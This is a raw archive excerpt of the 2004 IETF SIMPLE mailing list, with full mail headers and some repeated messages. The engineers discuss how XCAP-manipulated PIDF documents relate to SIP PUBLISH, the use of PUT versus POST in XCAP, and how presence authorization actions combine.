Tuple ids have no significance beyond the scope of a single PIDF =
document, so what you describe above is not exactly how this would work. =
However, you can PUBLISH an "identical" tuple from your cell phone (what =
identical means may actually not be so clear...) to what you manipulated =
earlier using XCAP.=20

> So here is my cell phons status from each entity's point of view:=20
> 1) The XCAP server has my cell phone turned OFF in its storage.=20
> 2) My presence status has my cell phone turned ON.
>=20

OK.

> Is that the way it should behave?

Yes, it is now upto the composer to decide how to combine the two =
sources of presence information. Admittedly this is problematic if there =
is conflicting information. Typically the information obtained via SIP =
PUBLISH would override the information given by XCAP. However, there's =
no way to distinguish between two SIP PUBLISHes.

Currently SIMPLE has not defined anything about the composer, and it is =
not upto the pidf-manipulation XCAP usage to do so either.

> Can u please elaborate a bit on your answer here.
>=20
> Thnx/gf
>=20

Markus

>=20
>=20
>=20
>=20
> > -----Original Message-----
> > From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > Sent: Friday, March 12, 2004 5:18 AM
> > To: jdrosen@dynamicsoft.com; George Foti (QA/EMC)
> > Cc: simple@ietf.org
> > Subject: RE: [Simple] RE: Comments on PIDF-Manipulation=20
> Usage-00draft
> > (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> >=20
> >=20
> > Hi,
> >=20
> > I think Jonathan already explained the relationship between=20
> > the PIDF document that is manipulated with XCAP and the ones=20
> > published using SIP PUBLISH. Actually the current draft=20
> > already has a similar figure as Jonathan draw included:
> >=20
> > ---
> >=20
> >=20
> >                +---------------+         +------------+
> >                |   Event State |         |  Presence  |-->=20
> > SIP SUBSCRIBE
> >                |   Compositor  +---------+  Agent     |<--=20
> SIP NOTIFY
> >                |               |         |   (PA)     |
> >                +-------+-------+         +------------+
> >                  ^     ^     ^
> >                  |     |     |
> >                  |     |     |       +---------------+
> >         +--------+     |     +-------|  XCAP server  |
> >         |              |             +-------+-------+
> >         |              |                 ^         ^
> >         | SIP Publish  |                 |  XCAP   |
> >         |              |                 |         |
> >      +--+--+        +--+--+         +-------+   +-------+
> >      | PUA |        | PUA |         | XCAP  |   | XCAP  |
> >      |     |        |     |         | client|   | client|
> >      +-----+        +-----+         +-------+   +-------+
> >=20
> >=20
> >       Figure 1: Framework for Presence Publishing and Event State
> >                               Composition
> >=20
> > ---
> >=20
> > So it should be explicit and normative that XCAP and PUBLISH=20
> > work upon different documents, and it is the matter of the=20
> > "event state compositor" to figure out how to consolidate=20
> > those inputs.
> >=20
> > I'm planning to submit the "WG-version" of the draft early=20
> > next. Before that I'll check if it is still possible to=20
> > improve the wording to make things more clear, although I=20
> > think the current text should be quite clear already.
> >=20
> > I also think it's better to reference to the RFC defining the=20
> > PIDF schema rather than copy-paste the definition within=20
> this draft.=20
> >=20
> > Markus
> >=20
> > > -----Original Message-----
> > > From: ext Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> > > Sent: 11 March, 2004 06:58
> > > To: George Foti (QA/EMC)
> > > Cc: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> > > Subject: Re: [Simple] RE: Comments on PIDF-Manipulation=20
> > Usage-00draft
> > > (wa s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
> > >=20
> > >=20
> > >=20
> > > inline.
> > >=20
> > > George Foti (QA/EMC) wrote:
> > >=20
> > > >> What if a user changes other  soft tuples with XCAP.
> > > >>=20
> > > >> It is my understanding that they cannot.
> > > >>=20
> > > >> This is enforced because the presence documents=20
> > published through=20
> > > >> PUBLISH are simply not reflected into the xcap hierarchy.
> > > >>=20
> > > >>=20
> > > >>>=20
> > > >>> Will the server allow that?
> > > >>=20
> > > >> No.
> > > >=20
> > > >=20
> > > > The current scope of the PIDF manipluation using XCAP is=20
> > the entire
> > > > PIDF XML document as well as presence extensions.
> > >=20
> > >=20
> > > Right.
> > >=20
> > >=20
> > > > There is nothing in
> > > > the draft that says otherwise. As far as PUBLISH is=20
> concerned, the
> > > > draft 03 explitly says that the content type for a=20
> > > published presence
> > > > event is the PIDF presence document.
> > >=20
> > > Right.
> > >=20
> > > >=20
> > > > Doesn't that imply that the indeed, per the current=20
> > draft, published
> > > > documents for presence events are indeed reflected in the xcap
> > > > hierarchy, or have I missed something ?
> > >=20
> > > No. Just because the content type of publications is the=20
> > same as the=20
> > > type manipulated by xcap, it does not mean that you can=20
> manipulate=20
> > > published documents with xcap.
> > >=20
> > > The model which is implicit here (and perhaps needs to be=20
> > explicit),=20
> > > looks something like this:
> > >=20
> > >    Please view in a fixed-width font such as Courier.
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >=20
> > >                          +--------------+    SUB
> > >                          |              |<--------------
> > >                          |  Presence    |
> > >                          |  Server      |
> > >                          |              |    NOT
> > >                          |              |-------------->
> > >                          |              |
> > >                          +--------------+
> > >                            /        \
> > >                          //          \\
> > >                         /              \    publication
> > >                        /                \
> > >                      // SIP              \\
> > >                     /   PUBLISH            \
> > >                    /                        \
> > >=20
> > >             +-----------+                 +-----------+
> > >             |           |                 |           |
> > >             |   PUA     |                 | XCAP Srvr |
> > >             +-----------+                 +-----------+
> > >                                                  ^
> > >                                                  |
> > >                                                  |
> > >                                                  |  xcap
> > >                                                  |
> > >                                                  |
> > >                                                  |
> > >                                                  |
> > >                                                  |
> > >                                                  |
> > >                                           +------------+
> > >                                           |            |
> > >                                           | XCAP Client|
> > >                                           +------------+
> > >=20
> > > In this model, the presence server has many sources of=20
> > presence data.=20
> > > One is the SIP published documents. Another one is the=20
> xcap server,=20
> > > which stores a presence document permananetly and makes it=20
> > > available to=20
> > > the presence serevr through some kind of "publication" mecahnism=20
> > > (generally an internal interface). The client can manipulate this=20
> > > permanent document using xcap.
> > >=20
> > > In this model, the xcap server simply doesnt have access to=20
> > > the presence=20
> > > documents published through sip.
> > >=20
> > > Even if it did, we have no way to address them. That is, lets=20
> > > say I had=20
> > > a PC and a phone, and both used SIP PUBLISH to publish presence=20
> > > documents. What xcap URL corresponds to the PC's presence=20
> > > doc, and which=20
> > > xcap url points to that of the phone? You would need to define=20
> > > conventions for addressing these SIP published documents with=20
> > > xcap. The=20
> > > pidf-manipulation document doesnt do that, so there is simply=20
> > > no way to=20
> > > even shake a url at one of those documents to modify it. In=20
> > > that way, it=20
> > > is disallowed by the spec.
> > >=20
> > >=20
> > > >=20
> > > > And one more thing, all applications using XCAP should=20
> > have the XML
> > > > schema included in the usage draft for consistency and=20
> > completness.=20
> > > > The list usage application had them there, the CPCP (XCON) were
> > > > instructed to do. In this case they are not.
> > >=20
> > > The schema for pidf-manipulation is pidf, so I thought it=20
> > defined the=20
> > > schema by referencing the pidf document. What is wrong with=20
> > > doing that?
> > >=20
> > > Thanks,
> > > Jonathan R.
> > >=20
> > > --=20
> > > Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> > > Chief Technology Officer                    Parsippany, NJ=20
> > 07054-2711
> > > dynamicsoft
> > > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > > http://www.dynamicsoft.com
> > >=20
> >=20
> =20
>=20
> This communication is confidential and intended solely for=20
> the addressee(s). Any unauthorized review, use, disclosure or=20
> distribution is prohibited. If you believe this message has=20
> been sent to you in error, please notify the sender by=20
> replying to this transmission and delete the message without=20
> disclosing it. Thank you.
>=20
> E-mail including attachments is susceptible to data=20
> corruption, interruption, unauthorized amendment, tampering=20
> and viruses, and we only send and receive e-mails on the=20
> basis that we are not liable for any such corruption,=20
> interception, amendment, tampering or viruses or any=20
> consequences thereof.
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 18:24:16 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06599
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 18:24:16 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31RS-0001yB-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 18:24:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B31Qa-0001vC-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 18:23:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31QG-0001sF-00; Mon, 15 Mar 2004 18:23:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31QD-0003qg-Jw; Mon, 15 Mar 2004 18:23:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1O64-0002Fj-2i
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 06:11:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25572
	for <simple@ietf.org>; Thu, 11 Mar 2004 06:11:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1O60-0002vy-00
	for simple@ietf.org; Thu, 11 Mar 2004 06:11:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1O56-0002nz-00
	for simple@ietf.org; Thu, 11 Mar 2004 06:10:29 -0500
Received: from tk0008-202x210x243x26.ap-tk.usen.ad.jp
	([202.210.243.26] helo=athena.ginganet.org ident=postfix)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1O4F-0002fA-00
	for simple@ietf.org; Thu, 11 Mar 2004 06:09:35 -0500
Received: by athena.ginganet.org (Postfix, from userid 5003)
	id C5D20D0D7; Thu, 11 Mar 2004 20:09:34 +0900 (JST)
From: Kawaguti Ginga <g.kawaguti@ntt.com>
To: Ted Hardie <hardie@qualcomm.com>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Dean Willis <dean.willis@softarmor.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
Message-ID: <20040311110934.GA66605@ginganet.org>
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com> <404711F8.9080807@softarmor.com> <404D7E68.8090304@dynamicsoft.com> <p06020406bc73cd36481d@[129.46.227.161]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <p06020406bc73cd36481d@[129.46.227.161]>
User-Agent: Mutt/1.5.4i-ja.1
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 20:09:34 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60

In Tue, Mar 09, 2004 at 11:57:04AM -0800,
Ted Hardie <hardie@qualcomm.com> wrote:
> Creating mechanisms that are essentially new methods but implementing
> them through POST is a bad long-term idea.  POST is designed to be
> specific to a particular context (a form being filled in, essentially)
> and trying to ensure that it has long term context turns out to be very
> hard.  One of the HTTP wg members (sorry, forgotten who) used
> to call it the "magic happens" method, in honor of an old cartoon
> which showed carefully drawn flow charts for a set of actions, with
> one box labelled "magic happens" that covered all the icky bits.
> As tempting as it is, it turns out to be very hard to ensure that the
> same magic happens every time, everywhere.

The current XCAP design for policy handling itself implies quite much
of "magic happening" behind this protocol, which are not explicitly
specified.

XCAP itself seems to be a "file editing" protocol.
However, XCAP's PUT action in policy-controlling context
is not just "putting a file (fragment)".
It implicitly...

(1) edits a policy document file
    (not nessesarily a FILE, but it requires EDITing anyway)
(2) checks if it is a valid document
    (well-formed? valid? acceptable for site-policy? etc.
     These decisions can be made outside the XCAP server,
     as indicated in Jonathan's XCAP tutorial.)
(3) informs the presence server of the policy-updates.
    (kill -HUP or whatever.)

To make policy handling work robust and fail-safe,
the above points cannot be ignored.
As an interface/protocol definition, these points should be taken
into consideration, although some poor-implementation may 
not act exactly as above.

IMHO, XCAP's PUT has lot more to do than an ordinally HTTP's PUT.

Regards,
Ginga Kawaguti

-- 
Office:  NTT Communications Innovative IP Architecture Center 1PT 1P
Address: KAWAGUTI Ginga <g.kawaguti@ntt.com>
Phone:   voice=+81-3-6800-3032; fax=+81-3-5388-0550

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 18:24:48 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06639
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 18:24:48 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31RV-00044f-VL
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 18:24:22 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FNOL1t015660
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 18:24:21 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31RV-00044V-Qh
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 18:24:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06602
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 18:24:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31RS-0001yG-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 18:24:18 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B31Qa-0001vJ-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 18:23:25 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31QG-0001sF-00; Mon, 15 Mar 2004 18:23:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31QD-0003qg-Jw; Mon, 15 Mar 2004 18:23:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1O64-0002Fj-2i
	for simple@optimus.ietf.org; Thu, 11 Mar 2004 06:11:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25572
	for <simple@ietf.org>; Thu, 11 Mar 2004 06:11:24 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1O60-0002vy-00
	for simple@ietf.org; Thu, 11 Mar 2004 06:11:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1O56-0002nz-00
	for simple@ietf.org; Thu, 11 Mar 2004 06:10:29 -0500
Received: from tk0008-202x210x243x26.ap-tk.usen.ad.jp
	([202.210.243.26] helo=athena.ginganet.org ident=postfix)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1O4F-0002fA-00
	for simple@ietf.org; Thu, 11 Mar 2004 06:09:35 -0500
Received: by athena.ginganet.org (Postfix, from userid 5003)
	id C5D20D0D7; Thu, 11 Mar 2004 20:09:34 +0900 (JST)
From: Kawaguti Ginga <g.kawaguti@ntt.com>
To: Ted Hardie <hardie@qualcomm.com>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Dean Willis <dean.willis@softarmor.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, simple@ietf.org
Subject: Re: [Simple] PUT vs POST in XCAP
Message-ID: <20040311110934.GA66605@ginganet.org>
References: <4046A8FA.5000008@softarmor.com> <4046D26B.70408@nokia.com> <404711F8.9080807@softarmor.com> <404D7E68.8090304@dynamicsoft.com> <p06020406bc73cd36481d@[129.46.227.161]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <p06020406bc73cd36481d@[129.46.227.161]>
User-Agent: Mutt/1.5.4i-ja.1
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 11 Mar 2004 20:09:34 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60

In Tue, Mar 09, 2004 at 11:57:04AM -0800,
Ted Hardie <hardie@qualcomm.com> wrote:
> Creating mechanisms that are essentially new methods but implementing
> them through POST is a bad long-term idea.  POST is designed to be
> specific to a particular context (a form being filled in, essentially)
> and trying to ensure that it has long term context turns out to be very
> hard.  One of the HTTP wg members (sorry, forgotten who) used
> to call it the "magic happens" method, in honor of an old cartoon
> which showed carefully drawn flow charts for a set of actions, with
> one box labelled "magic happens" that covered all the icky bits.
> As tempting as it is, it turns out to be very hard to ensure that the
> same magic happens every time, everywhere.

The current XCAP design for policy handling itself implies quite much
of "magic happening" behind this protocol, which are not explicitly
specified.

XCAP itself seems to be a "file editing" protocol.
However, XCAP's PUT action in policy-controlling context
is not just "putting a file (fragment)".
It implicitly...

(1) edits a policy document file
    (not nessesarily a FILE, but it requires EDITing anyway)
(2) checks if it is a valid document
    (well-formed? valid? acceptable for site-policy? etc.
     These decisions can be made outside the XCAP server,
     as indicated in Jonathan's XCAP tutorial.)
(3) informs the presence server of the policy-updates.
    (kill -HUP or whatever.)

To make policy handling work robust and fail-safe,
the above points cannot be ignored.
As an interface/protocol definition, these points should be taken
into consideration, although some poor-implementation may 
not act exactly as above.

IMHO, XCAP's PUT has lot more to do than an ordinally HTTP's PUT.

Regards,
Ginga Kawaguti

-- 
Office:  NTT Communications Innovative IP Architecture Center 1PT 1P
Address: KAWAGUTI Ginga <g.kawaguti@ntt.com>
Phone:   voice=+81-3-6800-3032; fax=+81-3-5388-0550

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 18:37:28 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07306
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 18:37:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31eD-0002pO-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 18:37:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B31d7-0002lI-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 18:36:21 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31co-0002i9-00; Mon, 15 Mar 2004 18:36:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31co-000508-1a; Mon, 15 Mar 2004 18:36:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31cD-0004zL-Ht
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 18:35:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07253
	for <simple@ietf.org>; Mon, 15 Mar 2004 18:35:20 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31cA-0002h9-00
	for simple@ietf.org; Mon, 15 Mar 2004 18:35:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B31bB-0002eA-00
	for simple@ietf.org; Mon, 15 Mar 2004 18:34:22 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31ah-0002ar-00
	for simple@ietf.org; Mon, 15 Mar 2004 18:33:51 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FNXmp03000;
	Tue, 16 Mar 2004 01:33:48 +0200 (EET)
X-Scanned: Tue, 16 Mar 2004 01:34:18 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2FNYIvf028786;
	Tue, 16 Mar 2004 01:34:18 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00rpgfA0; Tue, 16 Mar 2004 01:34:16 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FNXX102850;
	Tue, 16 Mar 2004 01:33:33 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 16 Mar 2004 01:33:31 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A398@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] is-composing: has-focus?
Thread-Index: AcQH9SJHomW1vgXMT0mxBjboTQVe0QC72xGA
To: <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 15 Mar 2004 23:33:31.0554 (UTC) FILETIME=[ED23A020:01C40AE5]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Presence authorization: confirmation vs. accept-subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 01:33:30 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

A short question before commenting further on the semantic presence =
authorization rules:

The presence authorization rules draft defines three actions: =
"confirmation", "accept-subscription" and "provide-presence". =
"confirmation" is derived from the common policy spec. It says that if =
there is a "confirmation" action, the subscription is put to pending =
state and it waits for the rule maker to upload further rules.=20

However, what if one matching rule defines the action "confirmation" and =
another one "accept-subscription" & "provide-presence"? Intuitively (and =
by the additiveness principle) this means that the "accept-subscription" =
is the more "liberal" rule, and should be followed. However, there is no =
text in the draft describing how to combine the actions, only =
transformations are covered.

Regards,
	Markus=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 18:37:59 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07363
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 18:37:59 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31eH-0005EO-NZ
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 18:37:33 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FNbXTM020107
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 18:37:33 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31eH-0005EC-Gv
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 18:37:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07310
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 18:37:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31eE-0002pT-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 18:37:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B31d7-0002lP-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 18:36:22 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31co-0002i9-00; Mon, 15 Mar 2004 18:36:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31co-000508-1a; Mon, 15 Mar 2004 18:36:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B31cD-0004zL-Ht
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 18:35:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07253
	for <simple@ietf.org>; Mon, 15 Mar 2004 18:35:20 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31cA-0002h9-00
	for simple@ietf.org; Mon, 15 Mar 2004 18:35:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B31bB-0002eA-00
	for simple@ietf.org; Mon, 15 Mar 2004 18:34:22 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B31ah-0002ar-00
	for simple@ietf.org; Mon, 15 Mar 2004 18:33:51 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FNXmp03000;
	Tue, 16 Mar 2004 01:33:48 +0200 (EET)
X-Scanned: Tue, 16 Mar 2004 01:34:18 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2FNYIvf028786;
	Tue, 16 Mar 2004 01:34:18 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00rpgfA0; Tue, 16 Mar 2004 01:34:16 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FNXX102850;
	Tue, 16 Mar 2004 01:33:33 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 16 Mar 2004 01:33:31 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A398@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] is-composing: has-focus?
Thread-Index: AcQH9SJHomW1vgXMT0mxBjboTQVe0QC72xGA
